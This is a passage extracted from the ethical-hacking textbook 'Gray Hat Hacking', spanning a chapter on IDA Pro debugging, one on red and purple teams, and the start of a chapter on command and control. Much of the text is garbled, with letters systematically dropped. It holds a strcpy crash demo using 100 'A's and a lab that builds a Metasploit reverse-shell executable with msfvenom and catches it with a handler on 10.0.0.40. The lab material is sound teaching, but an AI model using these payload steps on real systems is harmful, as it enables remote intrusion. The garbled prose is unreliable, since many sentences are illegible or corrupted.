insuion heks he zero flag (zf) in he FLAGS egise o see if i is se. If he fag is
se, hen he jump is aken. If he fag is no se, hen he pogam oune moves on o
he ne sequenia addess, whee eeuion oninues.
Chapter 5: IDA Pro
91
To add one, he foowing image shows an abiay eampe inside IDA Po of a
ondiiona jump afe ono is euned fom a memoy aoaion funion:
PART I
This gaphia view inside of IDA Po is in eusive desen dispay foma.
call cs:__imp_GetProcessHeap ❶
mov r8, r14 ❷ ; dwBytes
xor edx, edx ❸ ; dwFlags
mov rcx, rax ❹ ; hHeap
call cs:__imp_HeapAlloc ❺
mov r15, rax ❻
test rax, rax ❼
jz loc_14006CE15 ❽
Fis, he funion GetProcessHeap is aed ❶. As he name suggess, his fun-
ion a euns he base addess o hande of he defau poess heap. The addess
of he heap is euned o he ae via he RAX egise. The agumens fo a a o
HeapAlloc ae now being se up wih he fis agumen being he size, opied fom
r14 o r8, a ❷, using he mov insuion. The dwFlags agumen is se o a 0 via he
xor edx, edx insuion, a ❸, indiaing no new opions fo he aoaion eques. The
addess of he heap is opied fom rax ino rcx a ❹. Now ha he agumens ae se up
fo he HeapAlloc funion, he call insuion is eeued a ❺. The epeed eun
fom he a o HeapAlloc is a poine o he aoaed hunk of memoy. The vaue
soed in rax is hen opied o r15 a ❻. Ne, he test rax, rax insuion is eeued
a ❼. The test insuion pefoms a biwise and opeaion. In his ase, we ae esing
he rax egise agains isef. The pupose of he test insuion in his eampe is o
Gray Hat Hacking: The Ethical Hacker’s Handbook
92
hek o see if he eun vaue fom he a o HeapAlloc is a 0, whih woud indiae
a faiue. If rax hods a 0 and we and he egise agains isef, he zero flag (zf) is se.
If he HEAP_GENERATE_EXCEPTIONS opion is se via dwFlags duing he a
o HeapAlloc, eepion odes ae euned insead of a 0.1 The fina insuion in
his bok is he jump if zero (jz) insuion, a ❽. If he zf is se, meaning ha he
HeapAlloc a faied, we ake he jump; ohewise, we advane ineay o he ne
sequenia addess and oninue ode eeuion.
IDA Po has pased hough he meadaa of he obje fie and deemined ha i is
a 64-bi ELF binay. IDA pefoms a age amoun of iniia anaysis, suh as he aing
of eeuion fow, he passing of Fas Libay Idenifiaion and Reogniion Tehnoogy
(FLIRT) signaues, sak poine aing, symbo abe anaysis and funion naming,
inseing ype daa when avaiabe, and he assignmen of oaion names. Afe you ik
OK, IDA Po pefoms is auo-anaysis. Fo age inpu fies, he anaysis an ake some
ime o ompee. Cosing a he windows and hiding he Navigao ooba speeds up
Chapter 5: IDA Pro
93
PART I
Figure 5-1 IDA Pro default layout
he anaysis. One i is ompeed, iking Windows fom he menu opions and hoos-
ing Reset Desktop esoes he ayou o he defau seing. One IDA Po has finished
is auo-anaysis of he myAtoi pogam, we ge he esu shown in Figue 5-1.
NOTE A lot of features and items are referenced in Figure 5-1. Be sure to
refer back to this image as we work our way through the different sections,
features, and options.
The Navigao ooba in Figue 5-2 povides an oveview of he enie inpu fie,
boken up by he vaious seions. Eah oo-oded aea wihin he ooba is ikabe
fo easy aess o ha oaion. In ou eampe wih he myAtoi pogam, a age poion
of he ovea image is idenified as regular functions. This indiaes inena funions
and eeuabe ode ompied ino he binay, as opposed o external symbols, whih ae
dynami dependenies, and library functions, whih woud indiae saiay ompied
ibay ode. The Funions window, shown in Figue 5-3, is a is of names fo a ine-
na funions and dynami dependenies.
Doube-iking an eny auses ha funion o dispay in he main gaph view win-
dow. The g hokey aso aows you o jump diey o an addess. If a symbo abe is
avaiabe o IDA Po, a funions ae named aodingy. If symbo infomaion is no
avaiabe fo a given funion, hey ae given he sub pefi, foowed by he Reaive
Viua Addess (RVA) offse, suh as sub_1020. The foowing is an eampe of when a
symbo abe is no avaiabe vesus when i is avaiabe:
Beow he Funions window is he Gaph Oveview window. Refe o Figue 5-1 o
see his window. I is simpy an ineaive window epesening he enie funion u-
eny being anayzed.
The Oupu window a he boom of he defau IDA Po ayou is shown in
Figue 5-4, aong wih he ineaive Pyhon o IDC ba. The Oupu window is whee
messages ae dispayed, as we as he esus of eneed ommands via IDA Pyhon o IDC.
IDA Pyhon and IDC ae disussed in Chape 13. In ou eampe, he as message dis-
payed is, “The iniia auoanaysis has been finished.”
Chapter 5: IDA Pro
95
PART I
Figure 5-4 IDA Pro Output window
The main window in he ene of IDA Po’s defau ayou is ied IDA View-A in
ou eampe and is shown in Figue 5-5. This is he gaph view, whih dispays fun-
ions and he boks wihin hose funions in a eusive desen sye. Pessing he
spaeba wihin his window swihes he dispay fom gaph view o e view, as shown
in Figue 5-6. Te view is moe of a inea sweep way of ooking a he disassemby.
Pessing he spaeba again ogges beween he wo view opions. In Figue 5-5, he
main funion is dispayed and hee is ony a singe bok of ode. The ype infomaion
is dispayed a he op of he funion, foowed by oa vaiabes and he disassemby.
Figue 5-7 shows he Impos ab. This window dispays a he dynami dependenies
he inpu fie has on ibay ode. The op eny ised is he printf funion. The shaed
obje onaining his funion is equied fo he pogam o un and mus be mmap’d
ino he poess a unime. No shown is he Epos ab. This window dispays a is of
odinay aessibe epoed funions and hei assoiaed addesses. Shaed objes and
Dynami Link Libaies (DLLs) make use of his seion.
Cross-References (Xrefs)
I is quie ommon o wan o know fom whee in a binay hee ae as o a fun-
ion of inees. These ae aed cross-references, aso known as xrefs. Pehaps you wan
o know fom whee and when a a o he HeapAlloc funion is made. One mehod
is o ik he Impos ab, so he Name oumn aphabeiay, and oae he desied
funion. When his is oaed, doube-ik he name o be aken o he Impo Daa
PART I
Figure 5-9 IDA Pro dark mode
(.idaa) seion fo he desied funion, suh as ha shown in Figue 5-10. Wih he
funion seeed wihin he .idaa seion, pess ctrl-x o bing up he efs window.
Figue 5-11 has he esus in ou HeapAlloc eampe. We an see any of he as
ised o go o ha oaion wihin he inpu fie.
Function Calls
Figue 5-12 is an eampe of a funion wih quie a few boks. Funions ae ofen
muh age han his eampe. I is ommon o wan o ook a no ony a oss-
efeenes to a funion bu aso as from a funion. To ge his infomaion in one
pae, see View | Open Subviews | Function Calls. The unaed eampe in
Figue 5-13 shows hee as o he ueny anayzed funion, as we as quie a few
as fom his funion.
Figure 5-12
Example of a
function
Figure 5-13
Function calls
Chapter 5: IDA Pro
99
Proximity Browser
The poimiy bowse, aso known as poimiy viewe (PV), feaue is usefu fo a-
PART I
ing pahs wihin a pogam. Pe he He-Rays websie, “We an use he PV, fo eampe,
o visuaize he ompee agaph of a pogam, o see he pah beween 2 funions o
wha goba vaiabes ae efeened fom some funion.”2 In Figue 5-14 we ae using
poimiy bowse o ae he pah beween he main funion and a a o memcpy.
The memcpy funion has a count agumen ha speifies he numbe of byes o opy.
This funion is ofen invoved in buffe oveuns due o he impope auaion of he
count agumen, hene why i is used as an eampe.
To open he poimiy bowse, ik View | Open Subviews | Proximity Browser.
One hee, if anyhing is dispayed by defau, you an oapse any hid o paen
nodes by igh-iking he ene node and seeing he appopiae opion. If you
igh-ik anywhee in he window ha is no a node, you ae pesened wih menu
opions. The easies mehod is o see Add Node by Name and hoose he desied
funion name fom he is as eihe he saing o ending poin. You hen pefom his
same opeaion o see he ohe poin. Finay, you an igh-ik one of he nodes and
see he Find Pah opion.
Figure 5-14
Proximity
browser
Gray Hat Hacking: The Ethical Hacker’s Handbook
100
Shortcuts
Thee ae a o of defau shous and hokeys ha ae no inuiive, suh as pessing w
o zoom ou and he numbe 1 o zoom in o a pedefined size. The numbes 2 and 3
aow you o zoom in and zoom ou in a moe onoed manne. How do we know hese
diffeen opions? Cik Options | Shortcuts o bing up he window ha onos hese
seings. This is shown in Figue 5-17. Hee you wi find he defau hokeys, as we as
hose ha have been hanged. The defaus may vay beween he diffeen vesions, suh
as IDA Po, IDA Home, and IDA Fee.
Chapter 5: IDA Pro
101
PART I
Figure 5-16 Opcodes and address prefixes
Comments
I is ommon paie o inude ommens in you ode when wiing an appiaion.
This aows ohes who ook a you ode o undesand you hough poess and ge
ino he same one. As he auho, i aso makes i easie fo you o ge bak up o speed
when opening bak up he odebase. This same paie appies o evese engineeing.
Looking a disassemby o deompied pseudoode is a ime-onsuming paie. IDA
adds in some ommens based on avaiabe ype infomaion. Thee ae vaious ypes
of ommens, bu wo of he mos ommon ae egua ommens and epeaabe om-
mens. To add a egua ommen, ik he desied ine of disassemby and pess he
oon (:) key. Type in you ommen and ik OK. An eampe of a ommen is seen
in Figue 5-18. Pe He-Rays, a epeaabe ommen is “basiay equivaen o egua
ommens wih one sma disinion: hey ae epeaed in any oaion whih efes o
he oigina ommen oaion. Fo eampe, if you add a epeaabe ommen o a goba
vaiabe, i wi be pined a any pae he vaiabe is efeened.”3
PART I
Debugger in IDA
Wih GDB Seve unning on he age debuggee sysem, i is ime o oad he
myProg pogam ino IDA Po on he debugge sysem. We aow IDA Po o pefom
is auo-anaysis and see he Remote GDB Debugger opion, as shown in Figue 5-19.
We now ik Debugger | Process Options fom he IDA Po menu. This bings up
he diaog bo shown in Figue 5-20. The Appiaion and Inpu Fie opions ae boh
se o he oa fode whee he myProg pogam is oaed. As an eampe, if we wee
debugging a DLL oaded by a age appiaion, he Appiaion and Inpu Fie opions
woud be diffeen. Fo he Hosname opion, we have eneed he IP addess of he a-
ge debuggee sysem. The po numbe defaus o 23946, so we used his same opion
on he age sysem wih GDB Seve. One we aep hese opions, we ik he Pay
buon, shown in Figue 5-19. We ae hen pesened wih he pop-up ha says, “Thee
is aeady a poess being debugged by emoe. Do you wan o aah o i?” We ik
Yes, aowing IDA Po o aah o he emoe GDB Seve. The debugging aemp is
suessfu, and i pauses eeuion one aahed, as shown in Figue 5-21.
Thee ae sevea seions wihin he debugging window. If you ae famiia wih
ohe debugges, hen he seions shoud ook famiia. The main and age seion,
aed IDA View-RIP, is he disassemby view. Cueny, we an see ha he insu-
ion poine (RIP) is poining o a memoy addess hoding he insuion mov rdi,
rsp. Mos of he seions inside he debugging window ae soabe. The seion beow
he disassemby window, aed Hex View-1, dumps any desied memoy segmen in
headeima fom. To he igh of Hex View-1 is he Stack view. This defaus o sa-
ing a he sak poine (RSP) addess, dumping he onens of memoy fo he uen
head’s sak. Above he Sak view seion ae he Threads and Modules seions.
Finay, in he op igh is he General Registers seion. This seion shows he genea-
pupose poesso egises as we as addiiona egises, inuding he FLAGS egise
and Segmen egises.
Debugge onos ae aivaed hough assigned hokeys, ibbon ba menu ions, o
by going hough he debugging menu. If we ik Pay o aow he pogam o oninue
eeuion, i simpy eminaes, as we have no povided any ommand-ine agumens.
When ooking a he Impos abe wihin his pogam, we see hee is a a o he
depeaed strcpy funion, as shown in Figue 5-22. We hen use Poimiy Bowse o
ae he pah fom he main funion o strcpy, as shown in Figue 5-23. When ook-
ing a he func1 funion, we an see he a o strcpy, as we as he buffe size fo he
desinaion a 040, o 64 byes. We ne se a beakpoin on he a o strcpy, as shown
in Figue 5-24, by iking he addess and pessing he f2 beakpoin hokey.
PART I
Browser path
to strcpy
Wih he beakpoin se on he strcpy funion, and undesanding he desinaion
buffe size, e’s pass in 100 byes as ou agumen o see if we an ge he poess o ash.
We modify ou gdbserver ommand o inude some Pyhon syna on he end as suh:
┌──(kali kali)-[~/Desktop]
└─$ gdbserver --once localhost:23946 ./myProg `python3 -c 'print("A" * 100)'`
Process ./myProg created; pid = 8439
Listening on port 23946
Figure 5-24
Breakpoint set
on strcpy
Gray Hat Hacking: The Ethical Hacker’s Handbook
106
We hen ik he Pay buon inside of IDA o iniiae he onneion o he debug-
gee. One aahed, we mus ik he Pay buon again o oninue o ou beak-
poin on he strcpy funion. The esu is shown in Figue 5-25. The soue agumen
addessed has been dumped o he Hex View seion so ha we an see wha is going
o be opied o he desinaion buffe on he sak. Pessing he f9 oninue eeuion
hokey in IDA esus in an epeed ash, as shown in Figue 5-26. Snippes ae aken
PART I
Having he abiiy o oay and emoey debug pogams using IDA Po’s gaphia
fon end, aong wih vaious debugging subs, an geay speed up you anaysis.
Summary
This hape povides you wih he basis of geing saed in using IDA Po as a evese
engineeing oo. Thee ae fa oo many feaues and eensibiiy opions o fi ino a
singe hape. We ooked a geing o know he IDA Po inefae, some of he mos
ommony used feaues of IDA, as we as geing up and unning wih emoe debug-
ging. We wi be using IDA Po in ae hapes oveing Miosof pah diffing and
Windows epoiaion. The bes way o ean o use IDA Po is o ake a basi C pogam,
ike he ones used in his hape, and sa evesing. You an epe o spend a o of
ime googing he answes o quesions aound diffeen assemby insuions and how
o do speifi hings wih IDA Po. You wi see you skis quiky impoving he moe
you use he oo and beome famiia wih evesing wih IDA Po.
References
1. Miosof, “Heapao funion (heapapi.h) – win32 apps” (Deembe 5, 2018),
hps://dos.miosof.om/en-us/windows/win32/api/heapapi/nf-heapapi-heapao
(eieved Mah 19, 2021).
2. Koe, J., “New feaue in IDA 6.2: The poimiy bowse” (Augus 8, 2011),
hps://www.he-ays.om/bog/new-feaue-in-ida-6-2-he-poimiy-bowse/
(eieved Mah 20, 2021).
3. Skohinsky, I., “Igo’s ip of he week #14: Commens in IDA” (Novembe 6, 2020),
hps://www.he-ays.om/bog/igo-ip-of-he-week-14-ommens-in-ida/
(eieved Mah 20, 2021).
This page intentionally left blank
PART II
Ethical Hacking
6
In this chapter, we cover the following topics:
• Introduction to red teams
• Components of a red team
• Threat simulation
• Making money with red teaming
• Purple teams
111
Gray Hat Hacking: The Ethical Hacker’s Handbook
112
Adversarial LOB
Simulation/Emulation
IR Training
Detection
Engineering
Purple Team
Monitoring and
Incident Response
Security Controls
Pentest
Configuration Management
Vulnerability Management
Vulnerability
Patch Management
Scanning
Network Segmentation/Controls
on the network from a scanner’s vantage point, what services are exposed, and potential
vulnerabilities. Figure 6-1 shows how each layer of security builds on the next as well as
what types of testing help focus on those areas.
As vulnerability scanning increases within an organization, the false positive rate
increases, and the organization moves to validated vulnerability scanning along with add-
ing in authenticated scans to the vulnerability scanning. Once the organization has the
basics for a vulnerability management program, it is important to look at the gaps for
critical areas of the business.
Once red team activities become routine, some responsibilities may be given to other
areas of an organization, and the red team may evolve. In the end, the more sophisti-
cated red teams have threat emulation and “purple team” capabilities (discussed later in
the chapter) to help drive changes within their organizations in more than just security
controls, but how the organization does business. They may retain other functions as
well, but the top level of capabilities will define the overall capability level, with the most
mature organizations being able to provide value to lines of business (LOBs) and training
opportunities for incident responders before an actual compromise.
Vulnerability Scanning
Vulnerability scanning is the act of running tooling against an environment in an attempt
to find security vulnerabilities. Vulnerability scanning is a breadth activity, in that it tries
to test as many assets as possible to determine if there are missing patches, but it can only
test for known issues that have tests written for them. On the other hand, penetration
Chapter 6: Red and Purple Teams
113
testing goes deeply into assets to try to uncover new vulnerabilities and impacts within a
small subset of systems.
There are generally two types of vulnerability scanning: authenticated and unauthen-
ticated. Most organizations start with unauthenticated first, because it is the easiest to
roll out. The downside of this is that unauthenticated scans typically make best-effort
guesses to determine whether or not a service is vulnerable, so it has a high rate of false
positives (the scanner shows the service as being vulnerable when it’s not) or false nega-
tives (the scanner shows the service as being not vulnerable when it is vulnerable).
PART II
Once an organization is performing vulnerability scanning, it has to have a path to
remediation. This is a combination of patch management and vulnerability remediation
processes. Once these processes are in place, it will frequently become apparent that there
are false positives, and the organization would move to validated vulnerability scanning to
reduce false positives. Validated vulnerability scans authenticate to the system to directly
query software versions, so they can act as both version identification for vulnerabilities as
well as validation that patches have been applied consistently.
In addition to more reliable scan results, authenticated scanning can further enhance
asset and inventory management. Identifying installed software versions, software that
may have been installed that is not supported or is against policy, and other system prop-
erties can be gathered through this process to add into other management and visibility
capabilities of an organization. Identifying systems by more than just an IP address may
also allow more specific asset vulnerability tracking for hosts that use DHCP as well,
meaning that being able to track vulnerability trends for an asset over time is more reliable.
A working vulnerability management program is the foundation for the rest of the
activities in red teaming. Without vulnerability management, penetration testing is only
useful for compliance purposes, and even then, the results will typically not be favorable.
NOTE CVSSv3.1 is the latest version of the CVSS specification. While many
vulnerabilities come with a CVSS score, sometimes they are wrong, and so
understanding how to calculate them yourself will be particularly useful.
You can find a calculator online at https://www.first.org/cvss/calculator/3.1.
PART II
ment or customer environment.
Network testing examines the security of an enterprise through the lens of network
infrastructure, protocols, communication, operating systems, and other network-
connected systems. It should evaluate the effectiveness of patch and vulnerability man-
agement, network segmentation, configuration management, and host and network
control efficacy.
Testing Process
Testing typically begins with a kick-off call, where the SOW and ROE are discussed with
the client. Testing timeframes are set and any other concerns or topics related to testing
are addressed. Once all of this information is agreed upon, testing dates are set and the
tester can begin planning the engagement. Any changes to the SOW or ROE need to
Chapter 6: Red and Purple Teams
117
be documented in writing to make sure there are no miscommunications. This process
should be documented as part of team rules and processes.
Regardless of what type of testing you are doing, there is a general pattern to pen-
etration testing. Testing begins with recon, which includes researching IP spaces, DNS
names, and other aspects for network testing, but could include many other items for
other testing types. For instance, for physical testing, looking at arial recon photos online
or pictures posted online from events at a location for additional information may be
part of your recon activities.
PART II
From there, discovery, scanning, exploitation, and post-exploitation are performed.
The details of these are different based on each different type of penetration testing;
however, they are cyclical. After new discoveries are made, additional recon may kick off
additional steps to determine the next set of steps. Entire books have been written about
this process, so we will focus on the business process more than the technical processes
in this chapter.
NOTE The attack life cycle is simplified here. There are execution standards
like PTES (http://www.pentest-standard.org/index.php/Main_Page) that can
help an organization define testing terms, methodologies, and practices for
testers to ensure consistent testing is performed and the most can be gotten
from the testing itself, through scoping all the way to the reporting process.
Once testing has completed, the reporting phase begins. Reporting should contain an
executive summary designed to give nontechnical readers an overview of what the report
means to the organization. This would include high-level aspects such as what goals the
tester reached, the overall impact to the organization, and a general strategy for remedia-
tion and improving the posture of the organization.
An attack narrative helps lay out the steps that were taken during testing and may
include technical details that technical managers will be able to understand about how
an attack unfolded. This may include attack maps laying out the attack chain, the steps
taken to reach the objectives of testing, controls that were encountered, and any bypasses
that were discovered. The narrative is designed to tell the reader what happened and what
the impact was as well as give another tester an understanding of how to re-create that
test if they are assigned it again.
The findings section of a report lists the issues that were found during testing and
typically includes an impact rating, a description of the finding, the steps to re-create it,
screenshots to act as proof, and a remediation suggestion. The impact rating may be listed
as risk in some reports, but because some of the elements of risk can’t be calculated, it is in
reality the perceived impact to the environment. A good report will include a description
of how these impacts are calculated so that the reader can understand what the ratings
mean in context. These findings should have assets or areas of the environment impacted
by them and should be limited to a single issue. Issues that require multiple individuals
to fix them help the business less because they can’t be easily assigned to a group to fix.
Reports may have other elements, depending on what else the customer asks for, such
as information about the dates, SOW, ROE, limitations of testing, any scanning results,
and other aspects that the testing team incorporates into all of their reports. These reports
Gray Hat Hacking: The Ethical Hacker’s Handbook
118
should be clear, concise, and understandable by the target audience. Where necessary,
additional links may be provided to help the reader understand how to fix issues. This
report is the real value in testing, and while the testing itself is helpful, without a quality
report, getting traction to fix issues may be difficult, and it will detract from the quality
of the testing.
PART II
DCSync (T1003.006) against the domain controller to retrieve all of the credentials for
the domain and create a Golden Ticket (T1588.001). That ticket can be used to imper-
sonate a user that has access to a sensitive web application and then access that applica-
tion through a compromised system by deploying VNC (T1021.005) to a target. Once
logged in to the application the testers could steal and export a spreadsheet that is zipped
with PowerShell (T1005.003) and transferred back to the hardware device and send it
back to the tester over the cellular network (T1008).
Threat emulation is similar to threat simulation in that it focuses on attack trees and
reaching goals, but the primary distinguisher for threat emulation is that emulation is
performing the same TTPs as actual threat actors as opposed to simulations, which are
just focused on TTPs or goals. Emulating specific TTPs, especially custom software, can
be difficult, and it typically requires a close relationship with a threat intelligence team
that can help research and define what TTPs a specific threat actor uses. Typically for
threat emulation, a tester will start out by doing recon on threat actors that will poten-
tially target a customer organization. This may be done through a tester’s own research
or come from a threat intelligence organization that can help provide information on the
targets for common threat actors. Once a threat actor is chosen, the tester will typically
receive a list of TTPs and indicators of compromise (IOCs). The TTPs will detail what is
known about how a threat actor performs various steps, from targeting through exfiltra-
tion. The IOCs will typically include hashes of malware that was used.
During a threat emulation exercise, a tester will adapt the knowledge to the target and
help identify types of things that a threat actor would be going after, such as specific data,
specific impact, or specific access. Once this is identified as a possible target, the tester
will take the TTPs that are known and try to map them to probable attack chains. Many
times, there are steps that are unknown about how a threat actor works, so the tester will
fill those in with likely TTPs that make sense in context.
Next, the tester would look and see what information about IOCs can be found. If
malware is out there, additional analysis may be done through reversing .NET assemblies,
basic reversing of binaries, or write-ups of how the malware behaves. When possible, the
tester can create or modify tools to work similarly to what the known malware does so
that the testing is as realistic as possible. Adding these elements to the attack tree will help
ensure that the emulation is as close as possible to the actual attacker.
Purple Team
Detection engineering is the process of building detections around various TTPs to help
improve detection and response. In a purple team relationship, this could begin with
the blue team creating a detection and then the red team working to test and refine
Chapter 6: Red and Purple Teams
121
that detection. It may also be the result of log review and alert refinement after a threat
simulation or emulation exercise. The purple team can be used to help create, refine,
and test detections, resulting in more opportunities for the organization to catch attack-
ers earlier in the attack tree.
Purple teaming can also be used as part of response efforts to emerging threats. This
will provide the organization with a deeper understanding of how an emerging threat
works as well as lead to potential detections for them in response to a 0-day proof of
concept (POC) being released and any news items the organization needs to respond to.
PART II
We will be looking deeper at purple teams later in this chapter.
PART II
Purple Team Skills
What purple teams have the ability to focus on partially depends on the maturity of the
individual components. For instance, without good threat intelligence, it is difficult to
know what threat actors to be focusing on without significant research. It also depends
on the quality of controls, logging and monitoring, the ability to process that data, and
the overall knowledge and understanding of the teams. Frequently, purple teams evolve,
where they begin focusing on an area that is easy to find, like indicators of compromise,
and grow until they can focus on TTPs.
David J. Bianco created the Pyramid of Pain, shown in Figure 6-2, to describe the vari-
ous levels at which defensive teams can impact an attacker. At the bottom level are hash
values, where by simply changing a hash value, the attacker can evade detection. At the
top are TTPs, where an attacker would have to change how they work, the tools they use,
and possibly even the goals they are trying to achieve. Most organizations’ threat intel-
ligence focuses initially on the bottom three levels, which are the IOCs that are readily
available through threat intelligence feeds. These are frequently available to defense tools
as well, so if a hacker comes in from the same place using the same IPs, hostnames, or
executables, it will be fairly easy to block them.
Where the purple teams start to become effective is at the network and host artifacts
level, and going up from there. The network and host artifacts level can include patterns
of URIs and the use of specific ports or protocols for communication. These are things
Figure 6-2
• Tough!
Pyramid TTPs
of Pain by
David J. Bianco Tools • Challenging
(https://bit.ly/
PyramidOfPain) Network/
• Annoying
Host Artifacts
IP Addresses • Easy
PART II
red team could test again for remediation, and the hunt teams could evaluate logging
with the patch in place to help document what it would look like if the attack occurred
against a patched system.
Performing this type of activity would have put the organization ahead of the curve for
the attacks from various threat actors that followed the POC.
Detection Engineering
Detection engineering is the process of building detections for different types of events.
It can exist outside the context of purple teams; however, purple teams make it drastically
more impactful. By providing relevance, context, and applicability to a specific environ-
ment, purple teams can tailor detections to your environment so you aren’t left with
only vendor-supplied content, which may be overly noisy or not take into consideration
multiple sources that can be combined into higher-fidelity alerts.
A good example of this is a situation where threat intelligence has found that multiple
threat actors are using Cobalt Strike for C2 and are gathering credentials with Mimikatz.
The red team can run this combination of tools on a target host and then work with the
hunt team to see what artifacts are created.
Another example would be an EDR solution logging an LSASS access from the pro-
cess notmalware.exe and the local AV agent logging a connection to the proxy from
notmalware.exe. By combining those two components together, the team discovers that
there are fewer false positives, so they give the information to the detection engineer-
ing team to build a combination alert based on these two factors to allow the first-line
defenders to be alerted when this combination occurs.
Further testing by the red team indicates that the alert doesn’t fire when using Mimi-
katz over Cobalt Strike’s SMB beacon. The red team shares that SMB beacons use named
pipes for communication, but there aren’t currently tools deployed that log named pipes.
The client services team works with the defenders to deploy Sysmon and configure named
pipe creation logging. When the red team runs their tests again, there is now a correlation
between hosts that have created named pipes in the last hour and are accessing LSASS.
The individual alerts on their own would not have been as effective without the teams
working together executing real-life tests within the environment and tailoring the alert-
ing and defense strategy to their specific environment. In the end, everyone wins in this
environment, except for maybe the red team, who has to go research new techniques for
threat emulation.
Gray Hat Hacking: The Ethical Hacker’s Handbook
126
Summary
This chapter covers the basics of ethical hacking and red teams. Red teams operated at
various levels, beginning with vulnerability scanning and going all the way to purple
team and threat emulation. There are pros and cons to both consultant and corporate
red teaming, but many individuals switch between the two throughout their careers to
gain additional experience and adapt to lifestyle changes. As organizations evolve, so do
their capabilities around detection and response. Adding a purple team component can
help provide environment-specific detections with higher fidelity using a combination of
threat intelligence, defense teams, red teams, and engineering teams.
References
1. https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-
for-exchange-server/
2. https://krebsonsecurity.com/2021/03/a-basic-timeline-of-the-exchange-mass-hack/
Command and Control (C2)
CHAPTER
7
In this chapter, we cover the following topics:
• Understanding command and control (C2) systems
• Payload obfuscation
• Creating launchers in C#, Go, and Nim
• Network evasion techniques
• Endpoint detection and response (EDR) evasion techniques
For hckers, geing ino nework is only he firs pr of n ck. Wihou eing le
o inercively execue commnds on sysems, hcker (oh ehicl nd criminl) cn’
rech heir gols. Using C2 ools nd using evsion echniques cn help esers minin
ccess for longer periods of ime nd limi he impc of conrols on he hoss nd ne-
works h my cu heir ck shor.
127
Gray Hat Hacking: The Ethical Hacker’s Handbook
128
rw TCP sockes or persisen HTTP/HTTPS sockes, or will se up periodic check-in,
frequenly clled beacon time. This econ ime is he ime inervl when he gen will
rech ou for check-in nd ddiionl sks.
Becon imes re imporn for operionl securiy. Too shor period of ime, nd
you will e very noisy, u longer imes men fewer commnds you cn execue. The
choice of ime eween econs should e sed on wh he gols of he es re nd
wheher or no operionl securiy is concern. If i isn’ concern, very shor econ
ime les you ccomplish more, u if i is, less frequen nd rndomized check-ins mke
i hrder o see perns h migh cuse you o e deeced. Deecions cn e sed
on he frequency of check-in (how mny imes over dy), he volume of rffic sen,
he rio of send nd receive d, or emps o deec perns. Mny C2 sysems hve
he concep of jier, or iming vrinces, h cn e pplied o check-in imes o help
wih evsion.
All C2 sysems hve differen feures, u some common ones include he iliy o
cree gen pylods, he iliy o execue commnds nd ge he resuls, nd he il-
iy o uplod nd downlod files. There re free versions of C2 ools h re communiy
suppored, such s Mesploi, PowerShell Empire, nd Covenn. There re lso com-
mercil ools such s Col Srike nd INNUENDO h hve suppor. Your choice of
C2 sysem should e diced y your needs.
NOTE New C2 systems are coming out all the time, and others are becoming
unsupported. If you are interested in picking a C2 system based on your
needs, consider checking out the C2 matrix at https://www.thec2matrix.com/
to find what will work best for you.
Metasploit
One of he firs C2 sysems h mos users ry is Mesploi. Mesploi is esing
frmework h includes ools nd lirries o help develop explois, es hem, use hem,
nd perform pos-exploiion sks. Mesploi comes in oh commercil nd n
open source projec nd is owned y Rpid7. The communiy version is inslled on
Kli, mking i esy for users o lern on, nd here re even ools like Mesploile
o c s vulnerle VM for he free Mesploi Unleshed rining hps://www
.offensive-securiy.com/mesploi-unleshed/.
Becuse here re so mny quliy uorils like Mesploi Unleshed, we won’ go
ino ll he sics of Mesploi. Insed, we will focus on he sics of using Mesploi
for C2.
NOTE All of the labs in this chapter use the systems from the GHH GitHub
repo (https://github.com/GrayHatHacking/GHHv6) in the Ch07 directory.
After running the instructions in the CloudSetup directory, run build.sh
in the Ch07 directory. When it’s complete, we will use the target and Kali
boxes. The credentials for each of the systems can be found in the README
for each chapter.
Chapter 7: Command and Control (C2)
129
To egin wih, we will cree Server Messge Block (SMB) shre on he Kli sysem
o drop our pylod. We cn jus use he /mp direcory wih smd on he sysem. Le’s
dd shre o our configurion nd hen resr he service nd verify h he shre
is ccessile:
PART II
└─$ cat addshare.txt | sudo tee -a /etc/samba/smb.conf
[ghh]
comment = GHH Share
browseable = yes
path = /tmp
printable = no
guest ok = yes
read only = yes
create mask = 0700
└─$ sudo service smbd restart
└─$ smbclient -L localhost
Enter WORKGROUP\kali's password: <press enter>
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
ghh Disk GHH Share
IPC$ IPC IPC Service (Samba 4.13.2-Debian)
SMB1 disabled -- no workgroup available
Now we cn cree our firs pylod wih msfvenom, s shown nex. We wn o cree
Meerpreer pylod. Meerpreer is he C2 gen for Mesploi, nd we wn his
gen o rech ck ou o our server. This is referred o s reverse shell. Bind shells lisen
on he sysem he gen is run on, wheres reverse shells rech ou o he server. In mos
cses, orgnizions won’ llow direc connecion o worksions from he Inerne, so
reverse shells re he mos common for ckers o use.
└─$ msfvenom -p windows/meterpreter_reverse_tcp \
-f exe --platform Windows -o /tmp/msf1.exe
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 175174 bytes
Final size of exe file: 250368 bytes
Saved as: /tmp/msf1.exe
└─$ chmod 755 /tmp/msf1.exe
We hve jus used msfvenom, Mesploi’s pylod generor, o cree reverse TCP
Meerpreer shell h is stageless, mening he enire pylod is in he inry. Conversely,
staged mens h only smll piece of loder is incorpored in he pylod nd he
res is rerieved from he server. When we wn s smll pylod s possile, hen
sged is opiml. However, someimes conrols cn see our sger loding, nd his
will give us wy. In mos cses, when size is irrelevn, sged will e eer ecuse
fewer hings cn go wrong wih his ype of pylod. For his inry, we cn ell h
our pylod is sgeless ecuse of he nme of he pylod. In Mesploi, in gen-
erl, he form for pylods is <plform>/<pylod>/<pylod ype> for sged nd
<plform>/<pylod>_<pylod ype> for sgeless. Our sged version of his pylod
would e windows/meerpreer/reverse_cp.
Gray Hat Hacking: The Ethical Hacker’s Handbook
130
Nex, we need o lod he hndler o cch our shell when i clls ck. Mesploi hs
ool clled hndler o cch pylods. Becuse of he wy Mesploi groups explois
y plform, nd ecuse he hndler cn cch ny ype of plform, i is in he muli
direcory. In Mesploi, we need o se our pylod ype o he sme s our msfvenom
pylod nd hen run he exploit commnd o run i:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.40
LHOST => 10.0.0.40
msf6 exploit(multi/handler) > exploit
Now h i is running, we cn remoe o our Windows rge sysem using RDP,
log in s our rge user, nd open PowerShell window. PowerShell les us execue
